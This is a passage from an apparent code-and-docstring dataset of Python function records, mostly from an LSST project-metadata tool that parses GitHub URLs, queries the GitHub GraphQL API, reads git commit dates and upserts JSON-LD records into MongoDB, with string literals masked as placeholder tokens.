https://developer.github.com/early-access/integrations/authentication/.", "id": "f4213:m1"}
{"signature": "def parse_repo_slug_from_url(github_url):", "body": "match = GITHUB_SLUG_PATTERN.match(github_url)<EOL>if not match:<EOL><INDENT>message = '<STR_LIT>'.format(github_url)<EOL>raise RuntimeError(message)<EOL><DEDENT>_full = '<STR_LIT:/>'.join((match.group('<STR_LIT>'),<EOL>match.group('<STR_LIT:name>')))<EOL>return RepoSlug(_full, match.group('<STR_LIT>'), match.group('<STR_LIT:name>'))<EOL>", "docstring": "Get the slug, <owner>/<repo_name>, for a GitHub repository from\n    its URL.\n\n    Parameters\n    ----------\n    github_url : `str`\n        URL of a GitHub repository.\n\n    Returns\n    -------\n    repo_slug : `RepoSlug`\n        Repository slug with fields ``full``, ``owner``, and ``repo``.\n        See `RepoSlug` for details.\n\n    Raises\n    ------\n    RuntimeError\n        Raised if the URL cannot be parsed.", "id": "f4215:m0"}
{"signature": "def make_raw_content_url(repo_slug, git_ref, file_path):", "body": "if isinstance(repo_slug, RepoSlug):<EOL><INDENT>slug_str = repo_slug.full<EOL><DEDENT>else:<EOL><INDENT>slug_str = repo_slug<EOL><DEDENT>if file_path.startswith('<STR_LIT:/>'):<EOL><INDENT>file_path = file_path.lstrip('<STR_LIT:/>')<EOL><DEDENT>template = '<STR_LIT>'<EOL>return template.format(<EOL>slug=slug_str,<EOL>git_ref=git_ref,<EOL>path=file_path)<EOL>", "docstring": "Make a raw content (raw.githubusercontent.com) URL to a file.\n\n    Parameters\n    ----------\n    repo_slug : `str` or `RepoSlug`\n        The repository slug, formatted as either a `str` (``'owner/name'``)\n        or a `RepoSlug` object (created by `parse_repo_slug_from_url`).\n    git_ref : `str`\n        The git ref: a branch name, commit hash, or tag name.\n    file_path : `str`\n        The POSIX path of the file in the repository tree.", "id": "f4215:m1"}
{"signature": "def normalize_repo_root_url(url):", "body": "<EOL>if url.endswith('<STR_LIT>'):<EOL><INDENT>url = url[:-<NUM_LIT:4>]<EOL><DEDENT>return url<EOL>", "docstring": "Normalize a GitHub URL into the root repository URL.\n\n    Parameters\n    ----------\n    url : `str`\n        A GitHub URL\n\n    Returns\n    -------\n    url : `str`\n        Normalized URL of a GitHub repository.\n\n    Examples\n    --------\n    >>> normalize_repo_root_url('https://github.com/lsst/LDM-151.git')\n    'https://github.com/lsst/LDM-151'", "id": "f4215:m2"}
{"signature": "async def github_request(session, api_token,<EOL>query=None, mutation=None, variables=None):", "body": "payload = {}<EOL>if query is not None:<EOL><INDENT>payload['<STR_LIT>'] = str(query)  <EOL><DEDENT>if mutation is not None:<EOL><INDENT>payload['<STR_LIT>'] = str(mutation)  <EOL><DEDENT>if variables is not None:<EOL><INDENT>payload['<STR_LIT>'] = variables<EOL><DEDENT>headers = {'<STR_LIT>': '<STR_LIT>'.format(api_token)}<EOL>url = '<STR_LIT>'<EOL>async with session.post(url, json=payload, headers=headers) as response:<EOL><INDENT>data = await response.json()<EOL><DEDENT>return data<EOL>", "docstring": "Send a request to the GitHub v4 (GraphQL) API.\n\n    The request is asynchronous, with asyncio.\n\n    Parameters\n    ----------\n    session : `aiohttp.ClientSession`\n        Your application's aiohttp client session.\n    api_token : `str`\n        A GitHub personal API token. See the `GitHub personal access token\n        guide`_.\n    query : `str` or `GitHubQuery`\n        GraphQL query string. If provided, then the ``mutation`` parameter\n        should not be set. For examples, see the `GitHub guide to query and\n        mutation operations`_.\n    mutation : `str` or `GitHubQuery`\n        GraphQL mutation string. If provided, then the ``query`` parameter\n        should not be set. For examples, see the `GitHub guide to query and\n        mutation operations`_.\n    variables : `dict`\n        GraphQL variables, as a JSON-compatible dictionary. This is only\n        required if the ``query`` or ``mutation`` uses GraphQL variables.\n\n    Returns\n    -------\n    data : `dict`\n        Parsed JSON as a `dict` object.\n\n    .. `GitHub personal access token guide`: https://ls.st/41d\n    .. `GitHub guide to query and mutation operations`: https://ls.st/9s7", "id": "f4216:m0"}
{"signature": "@classmethod<EOL><INDENT>def load(cls, query_name):<DEDENT>", "body": "template_path = os.path.join(<EOL>os.path.dirname(__file__),<EOL>'<STR_LIT>',<EOL>query_name + '<STR_LIT>')<EOL>with open(template_path) as f:<EOL><INDENT>query_data = f.read()<EOL><DEDENT>return cls(query_data, name=query_name)<EOL>", "docstring": "Load a pre-made query.\n\n        These queries are distributed with lsstprojectmeta. See\n        :file:`lsstrojectmeta/data/githubv4/README.rst` inside the\n        package repository for details on available queries.\n\n        Parameters\n        ----------\n        query_name : `str`\n            Name of the query, such as ``'technote_repo'``.\n\n        Returns\n        -------\n        github_query : `GitHubQuery\n            A GitHub query or mutation object that you can pass to\n            `github_request` to execute the request itself.", "id": "f4216:c0:m1"}
{"signature": "def main():", "body": "parser = argparse.ArgumentParser(<EOL>description='<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL>parser.add_argument(<EOL>'<STR_LIT>',<EOL>dest='<STR_LIT>',<EOL>help='<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL>parser.add_argument(<EOL>'<STR_LIT>',<EOL>help='<STR_LIT>')<EOL>parser.add_argument(<EOL>'<STR_LIT>',<EOL>help='<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL>parser.add_argument(<EOL>'<STR_LIT>',<EOL>default='<STR_LIT>',<EOL>help='<STR_LIT>')<EOL>parser.add_argument(<EOL>'<STR_LIT>',<EOL>default='<STR_LIT>',<EOL>help='<STR_LIT>')<EOL>args = parser.parse_args()<EOL>stream_handler = logging.StreamHandler()<EOL>stream_formatter = logging.Formatter(<EOL>'<STR_LIT>')<EOL>stream_handler.setFormatter(stream_formatter)<EOL>root_logger = logging.getLogger()<EOL>root_logger.addHandler(stream_handler)<EOL>root_logger.setLevel(logging.WARNING)<EOL>app_logger = logging.getLogger('<STR_LIT>')<EOL>app_logger.setLevel(logging.DEBUG)<EOL>if args.mongodb_uri is not None:<EOL><INDENT>mongo_client = AsyncIOMotorClient(args.mongodb_uri, ssl=True)<EOL>collection = mongo_client[args.mongodb_db][args.mongodb_collection]<EOL><DEDENT>else:<EOL><INDENT>collection = None<EOL><DEDENT>loop = asyncio.get_event_loop()<EOL>if args.ltd_product_url is not None:<EOL><INDENT>loop.run_until_complete(run_single_ltd_doc(args.ltd_product_url,<EOL>args.github_token,<EOL>collection))<EOL><DEDENT>else:<EOL><INDENT>loop.run_until_complete(run_bulk_etl(args.github_token,<EOL>collection))<EOL><DEDENT>", "docstring": "Command line entrypoint to reduce technote metadata.", "id": "f4218:m0"}
{"signature": "async def process_ltd_doc_products(session, product_urls, github_api_token,<EOL>mongo_collection=None):", "body": "tasks = [asyncio.ensure_future(<EOL>process_ltd_doc(session, github_api_token,<EOL>product_url,<EOL>mongo_collection=mongo_collection))<EOL>for product_url in product_urls]<EOL>await asyncio.gather(*tasks)<EOL>", "docstring": "Run a pipeline to process extract, transform, and load metadata for\n    multiple LSST the Docs-hosted projects\n\n    Parameters\n    ----------\n    session : `aiohttp.ClientSession`\n        Your application's aiohttp client session.\n        See http://aiohttp.readthedocs.io/en/stable/client.html.\n    product_urls : `list` of `str`\n        List of LSST the Docs product URLs.\n    github_api_token : `str`\n        A GitHub personal API token. See the `GitHub personal access token\n        guide`_.\n    mongo_collection : `motor.motor_asyncio.AsyncIOMotorCollection`, optional\n        MongoDB collection. This should be the common MongoDB collection for\n        LSST projectmeta JSON-LD records.", "id": "f4218:m3"}
{"signature": "async def process_ltd_doc(session, github_api_token, ltd_product_url,<EOL>mongo_collection=None):", "body": "logger = logging.getLogger(__name__)<EOL>ltd_product_data = await get_ltd_product(session, url=ltd_product_url)<EOL>product_name = ltd_product_data['<STR_LIT>']<EOL>doc_handle_match = DOCUMENT_HANDLE_PATTERN.match(product_name)<EOL>if doc_handle_match is None:<EOL><INDENT>logger.debug('<STR_LIT>', product_name)<EOL>return<EOL><DEDENT>try:<EOL><INDENT>return await process_sphinx_technote(session,<EOL>github_api_token,<EOL>ltd_product_data,<EOL>mongo_collection=mongo_collection)<EOL><DEDENT>except NotSphinxTechnoteError:<EOL><INDENT>logger.debug('<STR_LIT>', product_name)<EOL><DEDENT>except Exception:<EOL><INDENT>logger.exception('<STR_LIT>', product_name)<EOL>return<EOL><DEDENT>try:<EOL><INDENT>return await process_lander_page(session,<EOL>github_api_token,<EOL>ltd_product_data,<EOL>mongo_collection=mongo_collection)<EOL><DEDENT>except NotLanderPageError:<EOL><INDENT>logger.debug('<STR_LIT>',<EOL>product_name)<EOL><DEDENT>except Exception:<EOL><INDENT>logger.exception('<STR_LIT>', product_name)<EOL>return<EOL><DEDENT>", "docstring": "Ingest any kind of LSST document hosted on LSST the Docs from its\n    source.\n\n    Parameters\n    ----------\n    session : `aiohttp.ClientSession`\n        Your application's aiohttp client session.\n        See http://aiohttp.readthedocs.io/en/stable/client.html.\n    github_api_token : `str`\n        A GitHub personal API token. See the `GitHub personal access token\n        guide`_.\n    ltd_product_url : `str`\n        URL of the technote's product resource in the LTD Keeper API.\n    mongo_collection : `motor.motor_asyncio.AsyncIOMotorCollection`, optional\n        MongoDB collection. This should be the common MongoDB collection for\n        LSST projectmeta JSON-LD records. If provided, ths JSON-LD is upserted\n        into the MongoDB collection.\n\n    Returns\n    -------\n    metadata : `dict`\n        JSON-LD-formatted dictionary.\n\n    .. `GitHub personal access token guide`: https://ls.st/41d", "id": "f4218:m4"}
{"signature": "def encode_jsonld(jsonld_dataset, **kwargs):", "body": "encoder = JsonLdEncoder(**kwargs)<EOL>return encoder.encode(jsonld_dataset)<EOL>", "docstring": "Encode a JSON-LD dataset into a string.\n\n    Parameters\n    ----------\n    jsonld_dataset : `dict`\n        A JSON-LD dataset.\n    kwargs\n        Keyword argument passed to the encoder. See `json.JSONEncoder`.\n\n    Returns\n    -------\n    encoded_dataset : `str`\n        The JSON-LD dataset encoded as a string.", "id": "f4219:m0"}
{"signature": "def decode_jsonld(jsonld_text):", "body": "decoder = json.JSONDecoder(object_pairs_hook=_decode_object_pairs)<EOL>return decoder.decode(jsonld_text)<EOL>", "docstring": "Decode a JSON-LD dataset, including decoding datetime\n    strings into `datetime.datetime` objects.\n\n    Parameters\n    ----------\n    encoded_dataset : `str`\n        The JSON-LD dataset encoded as a string.\n\n    Returns\n    -------\n    jsonld_dataset : `dict`\n        A JSON-LD dataset.\n\n    Examples\n    --------\n\n    >>> doc = '{\"dt\": \"2018-01-01T12:00:00Z\"}'\n    >>> decode_jsonld(doc)\n    {'dt': datetime.datetime(2018, 1, 1, 12, 0, tzinfo=datetime.timezone.utc)}", "id": "f4219:m1"}
{"signature": "def default(self, obj):", "body": "if isinstance(obj, datetime.datetime):<EOL><INDENT>return self._encode_datetime(obj)<EOL><DEDENT>return json.JSONEncoder.default(self, obj)<EOL>", "docstring": "Encode values as JSON strings.\n\n        This method overrides the default implementation from\n        `json.JSONEncoder`.", "id": "f4219:c0:m0"}
{"signature": "def _encode_datetime(self, dt):", "body": "if dt.tzinfo is None:<EOL><INDENT>dt = dt.replace(tzinfo=datetime.timezone.utc)<EOL><DEDENT>dt = dt.astimezone(datetime.timezone.utc)<EOL>return dt.strftime('<STR_LIT>')<EOL>", "docstring": "Encode a datetime in the format '%Y-%m-%dT%H:%M:%SZ'.\n\n        The datetime can be naieve (doesn't have timezone info) or aware\n        (it does have a tzinfo attribute set). Regardless, the datetime\n        is transformed into UTC.", "id": "f4219:c0:m1"}
{"signature": "async def process_sphinx_technote(session, github_api_token, ltd_product_data,<EOL>mongo_collection=None):", "body": "logger = logging.getLogger(__name__)<EOL>github_url = ltd_product_data['<STR_LIT>']<EOL>github_url = normalize_repo_root_url(github_url)<EOL>repo_slug = parse_repo_slug_from_url(github_url)<EOL>try:<EOL><INDENT>metadata_yaml = await download_metadata_yaml(session, github_url)<EOL><DEDENT>except aiohttp.ClientResponseError as err:<EOL><INDENT>logger.debug('<STR_LIT>',<EOL>ltd_product_data['<STR_LIT>'], err.code)<EOL>raise NotSphinxTechnoteError()<EOL><DEDENT>github_query = GitHubQuery.load('<STR_LIT>')<EOL>github_variables = {<EOL>\"<STR_LIT>\": repo_slug.owner,<EOL>\"<STR_LIT>\": repo_slug.repo<EOL>}<EOL>github_data = await github_request(session, github_api_token,<EOL>query=github_query,<EOL>variables=github_variables)<EOL>try:<EOL><INDENT>jsonld = reduce_technote_metadata(<EOL>github_url, metadata_yaml, github_data, ltd_product_data)<EOL><DEDENT>except Exception as exception:<EOL><INDENT>message = \"<STR_LIT>\"<EOL>logger.exception(message, github_url, exception)<EOL>raise<EOL><DEDENT>if mongo_collection is not None:<EOL><INDENT>await _upload_to_mongodb(mongo_collection, jsonld)<EOL><DEDENT>logger.info('<STR_LIT>', github_url)<EOL>return jsonld<EOL>", "docstring": "Extract, transform, and load Sphinx-based technote metadata.\n\n    Parameters\n    ----------\n    session : `aiohttp.ClientSession`\n        Your application's aiohttp client session.\n        See http://aiohttp.readthedocs.io/en/stable/client.html.\n    github_api_token : `str`\n        A GitHub personal API token. See the `GitHub personal access token\n        guide`_.\n    ltd_product_data : `dict`\n        Contents of ``metadata.yaml``, obtained via `download_metadata_yaml`.\n        Data for this technote from the LTD Keeper API\n        (``GET /products/<slug>``). Usually obtained via\n        `lsstprojectmeta.ltd.get_ltd_product`.\n    mongo_collection : `motor.motor_asyncio.AsyncIOMotorCollection`, optional\n        MongoDB collection. This should be the common MongoDB collection for\n        LSST projectmeta JSON-LD records. If provided, ths JSON-LD is upserted\n        into the MongoDB collection.\n\n    Returns\n    -------\n    metadata : `dict`\n        JSON-LD-formatted dictionary.\n\n    Raises\n    ------\n    NotSphinxTechnoteError\n        Raised when the LTD product cannot be interpreted as a Sphinx-based\n        technote project because it's missing a metadata.yaml file in its\n        GitHub repository. This implies that the LTD product *could* be of a\n        different format.\n\n    .. `GitHub personal access token guide`: https://ls.st/41d", "id": "f4221:m0"}
{"signature": "def reduce_technote_metadata(github_url, metadata, github_data,<EOL>ltd_product_data):", "body": "repo_slug = parse_repo_slug_from_url(github_url)<EOL>jsonld = {<EOL>'<STR_LIT>': [<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\"],<EOL>'<STR_LIT>': ['<STR_LIT>', '<STR_LIT>'],<EOL>'<STR_LIT>': github_url<EOL>}<EOL>if '<STR_LIT:url>' in metadata:<EOL><INDENT>url = metadata['<STR_LIT:url>']<EOL><DEDENT>elif '<STR_LIT>' in ltd_product_data:<EOL><INDENT>url = ltd_product_data['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>raise RuntimeError('<STR_LIT>'<EOL>'<STR_LIT:{}>'.format(github_url))<EOL><DEDENT>jsonld['<STR_LIT>'] = url<EOL>jsonld['<STR_LIT:url>'] = url<EOL>if '<STR_LIT>' in metadata and '<STR_LIT>' in metadata:<EOL><INDENT>jsonld['<STR_LIT>'] = '<STR_LIT>'.format(**metadata)<EOL><DEDENT>else:<EOL><INDENT>raise RuntimeError('<STR_LIT>'.format(github_url))<EOL><DEDENT>if '<STR_LIT>' in metadata:<EOL><INDENT>jsonld['<STR_LIT:name>'] = metadata['<STR_LIT>']<EOL><DEDENT>if '<STR_LIT:description>' in metadata:<EOL><INDENT>jsonld['<STR_LIT:description>'] = metadata['<STR_LIT:description>']<EOL><DEDENT>if '<STR_LIT>' in metadata:<EOL><INDENT>jsonld['<STR_LIT>'] = [{'<STR_LIT>': '<STR_LIT>', '<STR_LIT:name>': author_name}<EOL>for author_name in metadata['<STR_LIT>']]<EOL><DEDENT>if '<STR_LIT>' in metadata:<EOL><INDENT>jsonld['<STR_LIT>'] = datetime.datetime.strptime(<EOL>metadata['<STR_LIT>'],<EOL>'<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>_repo_data = github_data['<STR_LIT:data>']['<STR_LIT>']<EOL>_master_data = _repo_data['<STR_LIT>']<EOL>jsonld['<STR_LIT>'] = datetime.datetime.strptime(<EOL>_master_data['<STR_LIT:target>']['<STR_LIT>'],<EOL>'<STR_LIT>')<EOL><DEDENT>except KeyError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>try:<EOL><INDENT>_license_data = github_data['<STR_LIT:data>']['<STR_LIT>']['<STR_LIT>']<EOL>_spdxId = _license_data['<STR_LIT>']<EOL>if _spdxId is not None:<EOL><INDENT>_spdx_url = '<STR_LIT>'.format(_spdxId)<EOL>jsonld['<STR_LIT>'] = _spdx_url<EOL><DEDENT><DEDENT>except KeyError:<EOL><INDENT>pass<EOL><DEDENT>try:<EOL><INDENT>_master_data = github_data['<STR_LIT:data>']['<STR_LIT>']['<STR_LIT>']<EOL>_files = _master_data['<STR_LIT:target>']['<STR_LIT>']['<STR_LIT>']<EOL>for _node in _files:<EOL><INDENT>filename = _node['<STR_LIT:name>']<EOL>normalized_filename = filename.lower()<EOL>if normalized_filename.startswith('<STR_LIT>'):<EOL><INDENT>readme_url = make_raw_content_url(repo_slug, '<STR_LIT>',<EOL>filename)<EOL>jsonld['<STR_LIT>'] = readme_url<EOL>break<EOL><DEDENT><DEDENT><DEDENT>except KeyError:<EOL><INDENT>pass<EOL><DEDENT>travis_url = '<STR_LIT>'.format(repo_slug.full)<EOL>jsonld['<STR_LIT>'] = travis_url<EOL>return jsonld<EOL>", "docstring": "Reduce a technote project's metadata from multiple sources into a\n    single JSON-LD resource.\n\n    Parameters\n    ----------\n    github_url : `str`\n        URL of the technote's GitHub repository.\n    metadata : `dict`\n        The parsed contents of ``metadata.yaml`` found in a technote's\n        repository.\n    github_data : `dict`\n        The contents of the ``technote_repo`` GitHub GraphQL API query.\n    ltd_product_data : `dict`\n        JSON dataset for the technote corresponding to the\n        ``/products/<product>`` of LTD Keeper.\n\n    Returns\n    -------\n    metadata : `dict`\n        JSON-LD-formatted dictionary.\n\n    .. `GitHub personal access token guide`: https://ls.st/41d", "id": "f4221:m1"}
{"signature": "async def download_metadata_yaml(session, github_url):", "body": "metadata_yaml_url = _build_metadata_yaml_url(github_url)<EOL>async with session.get(metadata_yaml_url) as response:<EOL><INDENT>response.raise_for_status()<EOL>yaml_data = await response.text()<EOL><DEDENT>return yaml.safe_load(yaml_data)<EOL>", "docstring": "Download the metadata.yaml file from a technote's GitHub repository.", "id": "f4221:m2"}
{"signature": "def _build_metadata_yaml_url(github_url):", "body": "repo_slug = parse_repo_slug_from_url(github_url)<EOL>return make_raw_content_url(repo_slug, '<STR_LIT>', '<STR_LIT>')<EOL>", "docstring": "Compute the URL to the raw metadata.yaml resource given the technote's\n    GitHub repository URL.\n\n    Parameters\n    ----------\n    github_url : `str`\n        URL of the technote's GitHub repository.\n\n    Returns\n    -------\n    metadata_yaml_url : `str`\n        metadata.yaml URL (using the ``raw.githubusercontent.com`` domain).", "id": "f4221:m3"}
{"signature": "async def _upload_to_mongodb(collection, jsonld):", "body": "document = {<EOL>'<STR_LIT:data>': jsonld<EOL>}<EOL>query = {<EOL>'<STR_LIT>': jsonld['<STR_LIT>']<EOL>}<EOL>await collection.update(query, document, upsert=True, multi=False)<EOL>", "docstring": "Upsert the technote resource into the projectmeta MongoDB collection.\n\n    Parameters\n    ----------\n    collection : `motor.motor_asyncio.AsyncIOMotorCollection`\n        The MongoDB collection.\n    jsonld : `dict`\n        The JSON-LD document that reprsents the technote resource.", "id": "f4221:m4"}
{"signature": "async def process_lander_page(session, github_api_token, ltd_product_data,<EOL>mongo_collection=None):", "body": "logger = logging.getLogger(__name__)<EOL>published_url = ltd_product_data['<STR_LIT>']<EOL>jsonld_url = urljoin(published_url, '<STR_LIT>')<EOL>try:<EOL><INDENT>async with session.get(jsonld_url) as response:<EOL><INDENT>logger.debug('<STR_LIT>', jsonld_url, response.status)<EOL>response.raise_for_status()<EOL>json_data = await response.text()<EOL><DEDENT><DEDENT>except aiohttp.ClientResponseError as err:<EOL><INDENT>logger.debug('<STR_LIT>',<EOL>jsonld_url, err.code)<EOL>raise NotLanderPageError()<EOL><DEDENT>metadata = decode_jsonld(json_data)<EOL>if mongo_collection is not None:<EOL><INDENT>await _upload_to_mongodb(mongo_collection, metadata)<EOL><DEDENT>return metadata<EOL>", "docstring": "Extract, transform, and load metadata from Lander-based projects.\n\n    Parameters\n    ----------\n    session : `aiohttp.ClientSession`\n        Your application's aiohttp client session.\n        See http://aiohttp.readthedocs.io/en/stable/client.html.\n    github_api_token : `str`\n        A GitHub personal API token. See the `GitHub personal access token\n        guide`_.\n    ltd_product_data : `dict`\n        Contents of ``metadata.yaml``, obtained via `download_metadata_yaml`.\n        Data for this technote from the LTD Keeper API\n        (``GET /products/<slug>``). Usually obtained via\n        `lsstprojectmeta.ltd.get_ltd_product`.\n    mongo_collection : `motor.motor_asyncio.AsyncIOMotorCollection`, optional\n        MongoDB collection. This should be the common MongoDB collection for\n        LSST projectmeta JSON-LD records. If provided, ths JSON-LD is upserted\n        into the MongoDB collection.\n\n    Returns\n    -------\n    metadata : `dict`\n        JSON-LD-formatted dictionary.\n\n    Raises\n    ------\n    NotLanderPageError\n        Raised when the LTD product cannot be interpreted as a Lander page\n        because the ``/metadata.jsonld`` file is absent. This implies that\n        the LTD product *could* be of a different format.\n\n    .. `GitHub personal access token guide`: https://ls.st/41d", "id": "f4222:m0"}
{"signature": "async def _upload_to_mongodb(collection, jsonld):", "body": "document = {<EOL>'<STR_LIT:data>': jsonld<EOL>}<EOL>query = {<EOL>'<STR_LIT>': jsonld['<STR_LIT>']<EOL>}<EOL>await collection.update(query, document, upsert=True, multi=False)<EOL>", "docstring": "Upsert the technote resource into the projectmeta MongoDB collection.\n\n    Parameters\n    ----------\n    collection : `motor.motor_asyncio.AsyncIOMotorCollection`\n        The MongoDB collection.\n    jsonld : `dict`\n        The JSON-LD document that represents the document resource.", "id": "f4222:m1"}
{"signature": "def read_git_commit_timestamp(repo_path=None, repo=None):", "body": "if repo is None:<EOL><INDENT>repo = git.repo.base.Repo(path=repo_path,<EOL>search_parent_directories=True)<EOL><DEDENT>head_commit = repo.head.commit<EOL>return head_commit.committed_datetime<EOL>", "docstring": "Obtain the timestamp from the current head commit of a Git repository.\n\n    Parameters\n    ----------\n    repo_path : `str`, optional\n        Path to the Git repository. Leave as `None` to use the current working\n        directory.\n\n    Returns\n    -------\n    commit_timestamp : `datetime.datetime`\n        The datetime of the head commit.", "id": "f4223:m0"}
{"signature": "def read_git_commit_timestamp_for_file(filepath, repo_path=None, repo=None):", "body": "logger = logging.getLogger(__name__)<EOL>if repo is None:<EOL><INDENT>repo = git.repo.base.Repo(path=repo_path,<EOL>search_parent_directories=True)<EOL><DEDENT>repo_path = repo.working_tree_dir<EOL>head_commit = repo.head.commit<EOL>logger.debug('<STR_LIT>', repo_path)<EOL>filepath = os.path.relpath(<EOL>os.path.abspath(filepath),<EOL>start=repo_path)<EOL>logger.debug('<STR_LIT>', filepath)<EOL>for commit in head_commit.iter_items(repo,<EOL>head_commit,<EOL>[filepath],<EOL>skip=<NUM_LIT:0>):<EOL><INDENT>return commit.committed_datetime<EOL><DEDENT>raise IOError('<STR_LIT>'.format(filepath))<EOL>", "docstring": "Obtain the timestamp for the most recent commit to a given file in a\n    Git repository.\n\n    Parameters\n    ----------\n    filepath : `str`\n        Absolute or repository-relative path for a file.\n    repo_path : `str`, optional\n        Path to the Git repository. Leave as `None` to use the current working\n        directory or if a ``repo`` argument is provided.\n    repo : `git.Repo`, optional\n        A `git.Repo` instance.\n\n    Returns\n    -------\n    commit_timestamp : `datetime.datetime`\n        The datetime of the most recent commit to the given file.\n\n    Raises\n    ------\n    IOError\n        Raised if the ``filepath`` does not exist in the Git repository.", "id": "f4223:m1"}
{"signature": "def get_content_commit_date(extensions, acceptance_callback=None,<EOL>root_dir='<STR_LIT:.>'):", "body": "logger = logging.getLogger(__name__)<EOL>def _null_callback(_):<EOL><INDENT>return True<EOL><DEDENT>if acceptance_callback is None:<EOL><INDENT>acceptance_callback = _null_callback<EOL><DEDENT>root_dir = os.path.abspath(root_dir)<EOL>repo = git.repo.base.Repo(path=root_dir, search_parent_directories=True)<EOL>newest_datetime = None<EOL>iters = [_iter_filepaths_with_extension(ext, root_dir=root_dir)<EOL>for ext in extensions]<EOL>for content_path in itertools.chain(*iters):<EOL><INDENT>content_path = os.path.abspath(os.path.join(root_dir, content_path))<EOL>if acceptance_callback(content_path):<EOL><INDENT>logger.debug('<STR_LIT>', content_path)<EOL>try:<EOL><INDENT>commit_datetime = read_git_commit_timestamp_for_file(<EOL>content_path, repo=repo)<EOL>logger.debug('<STR_LIT>',<EOL>content_path, commit_datetime)<EOL><DEDENT>except IOError:<EOL><INDENT>logger.warning(<EOL>'<STR_LIT>',<EOL>content_path)<EOL>continue<EOL><DEDENT>if not newest_datetime or commit_datetime > newest_datetime:<EOL><INDENT>newest_datetime = commit_datetime<EOL>logger.debug('<STR_LIT>', newest_datetime)<EOL><DEDENT><DEDENT>logger.debug('<STR_LIT>', newest_datetime)<EOL><DEDENT>if newest_datetime is None:<EOL><INDENT>raise RuntimeError('<STR_LIT>'.format(root_dir))<EOL><DEDENT>return newest_datetime<EOL>", "docstring": "Get the datetime for the most recent commit to a project that\n    affected certain types of content.\n\n    Parameters\n    ----------\n    extensions : sequence of 'str'\n        Extensions of files to consider in getting the most recent commit\n        date. For example, ``('rst', 'svg', 'png')`` are content extensions\n        for a Sphinx project. **Extension comparision is case sensitive.** add\n        uppercase variants to match uppercase extensions.\n    acceptance_callback : callable\n        Callable function whose sole argument is a file path, and returns\n        `True` or `False` depending on whether the file's commit date should\n        be considered or not. This callback is only run on files that are\n        included by ``extensions``. Thus this callback is a way to exclude\n        specific files that would otherwise be included by their extension.\n    root_dir : 'str`, optional\n        Only content contained within this root directory is considered.\n        This directory must be, or be contained by, a Git repository. This is\n        the current working directory by default.\n\n    Returns\n    -------\n    commit_date : `datetime.datetime`\n        Datetime of the most recent content commit.\n\n    Raises\n    ------\n    RuntimeError\n        Raised if no content files are found.", "id": "f4223:m2"}
{"signature": "def _iter_filepaths_with_extension(extname, root_dir='<STR_LIT:.>'):", "body": "<EOL>if not extname.startswith('<STR_LIT:.>'):<EOL><INDENT>extname = '<STR_LIT:.>' + extname<EOL><DEDENT>root_dir = os.path.abspath(root_dir)<EOL>for dirname, sub_dirnames, filenames in os.walk(root_dir):<EOL><INDENT>for filename in filenames:<EOL><INDENT>if os.path.splitext(filename)[-<NUM_LIT:1>] == extname:<EOL><INDENT>full_filename = os.path.join(dirname, filename)<EOL>rel_filepath = os.path.relpath(full_filename, start=root_dir)<EOL>yield rel_filepath<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Iterative over relative filepaths of files in a directory, and\n    sub-directories, with the given extension.\n\n    Parameters\n    ----------\n    extname : `str`\n        Extension name (such as 'txt' or 'rst'). Extension comparison is\n        case sensitive.\n    root_dir : 'str`, optional\n        Root directory. Current working directory by default.\n\n    Yields\n    ------\n    filepath : `str`\n        File path, relative to ``root_dir``, with the given extension.", "id": "f4223:m3"}
{"signature": "def __init__(self, path_to_tagger):", "body": "self._path_to_tagger = path_to_tagger<EOL>self._dir_to_tagger = os.path.dirname(path_to_tagger)<EOL>self._tagger = subprocess.Popen('<STR_LIT>'+os.path.basename(path_to_tagger),<EOL>cwd=self._dir_to_tagger,<EOL>stdin=subprocess.PIPE, stdout=subprocess.PIPE)<EOL>", "docstring": "Arguments:\n- `path_to_tagger`:", "id": "f4225:c0:m0"}
{"signature": "def parse(self, text):", "body": "results = list()<EOL>for oneline in text.split('<STR_LIT:\\n>'):<EOL><INDENT>self._tagger.stdin.write(oneline+'<STR_LIT:\\n>')<EOL>while True:<EOL><INDENT>r = self._tagger.stdout.readline()[:-<NUM_LIT:1>]<EOL>if not r:<EOL><INDENT>break<EOL><DEDENT>results.append(tuple(r.split('<STR_LIT:\\t>')))<EOL><DEDENT><DEDENT>return results<EOL>", "docstring": "Arguments:\n- `self`:\n- `text`:", "id": "f4225:c0:m1"}
{"signature": "def _gen(d, limit=<NUM_LIT:20>, count=False, grouprefs=None):", "body": "if grouprefs is None:<EOL><INDENT>grouprefs = {}<EOL><DEDENT>ret = ['<STR_LIT>']<EOL>strings = <NUM_LIT:0><EOL>literal = False<EOL>for i in d:<EOL><INDENT>if i[<NUM_LIT:0>] == sre_parse.IN:<EOL><INDENT>subs = _in(i[<NUM_LIT:1>])<EOL>if count:<EOL><INDENT>strings = (strings or <NUM_LIT:1>) * len(subs)<EOL><DEDENT>ret = comb(ret, subs)<EOL><DEDENT>elif i[<NUM_LIT:0>] == sre_parse.LITERAL:<EOL><INDENT>literal = True<EOL>ret = mappend(ret, unichr(i[<NUM_LIT:1>]))<EOL><DEDENT>elif i[<NUM_LIT:0>] == sre_parse.CATEGORY:<EOL><INDENT>subs = CATEGORIES.get(i[<NUM_LIT:1>], ['<STR_LIT>'])<EOL>if count:<EOL><INDENT>strings = (strings or <NUM_LIT:1>) * len(subs)<EOL><DEDENT>ret = comb(ret, subs)<EOL><DEDENT>elif i[<NUM_LIT:0>] == sre_parse.ANY:<EOL><INDENT>subs = CATEGORIES['<STR_LIT>']<EOL>if count:<EOL><INDENT>strings = (strings or <NUM_LIT:1>) * len(subs)<EOL><DEDENT>ret = comb(ret, subs)<EOL><DEDENT>elif i[<NUM_LIT:0>] == sre_parse.MAX_REPEAT or i[<NUM_LIT:0>] == sre_parse.MIN_REPEAT:<EOL><INDENT>items = list(i[<NUM_LIT:1>][<NUM_LIT:2>])<EOL>if i[<NUM_LIT:1>][<NUM_LIT:1>] + <NUM_LIT:1> - i[<NUM_LIT:1>][<NUM_LIT:0>] >= limit:<EOL><INDENT>r1 = i[<NUM_LIT:1>][<NUM_LIT:0>]<EOL>r2 = 